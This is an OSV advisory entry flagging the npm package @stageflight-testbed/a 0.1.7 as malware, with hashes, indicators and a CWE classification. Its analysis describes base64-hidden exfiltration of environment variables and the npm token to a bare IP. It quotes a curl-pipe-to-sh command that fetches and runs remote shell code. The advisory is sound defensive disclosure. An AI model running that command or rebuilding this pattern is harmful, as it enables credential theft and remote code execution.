MAL-2026-13365

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stageflight-testbed/a/MAL-2026-13365.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13365
Published
2026-08-05T18:15:58Z
Modified
2026-08-05T19:19:48.096111199Z
Summary
Malicious code in @stageflight-testbed/a (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36)

index.ts defines an exported telemetry function that (1) POSTs process.env and process.env.NODEAUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on curl -s http://185.220.101.47:8080/the assessment | sh, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (SFTESTNEVER), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.

Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36",
            "source": "amazon-inspector",
            "versions": [
                "0.1.7"
            ],
            "import_time": "2026-08-05T19:04:54.162169082Z",
            "modified_time": "2026-08-05T18:15:58Z",
            "id": "IN-MAL-2026-015846"
        }
    ]
}
References
Credits

Affected packages

npm / @stageflight-testbed/a

Package

Name
@stageflight-testbed/a
View open source insights on deps.dev
Purl
pkg:npm/%40stageflight-testbed/a

Affected ranges

Affected versions

0.*
0.1.7

Database specific

indicators 
{
    "package_integrity": [
        {
            "hashes": {
                "sha1": "c03c55edbaad56bbe32a7ed468710c4967c84148",
                "sha512_sri": "sha512-upJvdXfwcimUb/v2dDypyw9QzpwF9Ioafh7/+T9qUrsNdI4dDvzN9eBHPR4aBSGYBjpXxArXaqrO5gs6Bv9hoQ=="
            },
            "filename": "a-0.1.7.tgz"
        }
    ],
    "evidence_files": [
        {
            "path": "index.ts",
            "sha256": "5147a4e101210b1d8a056edc334b7d5a7cd87be88b44f7c9f305bfcae8120de1",
            "tlsh": "6b2135020e261b3549e1d99abb3cf09bc75f42356610d5a1945d539f4fc2528527f393"
        }
    ]
}
cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stageflight-testbed/a/MAL-2026-13365.json"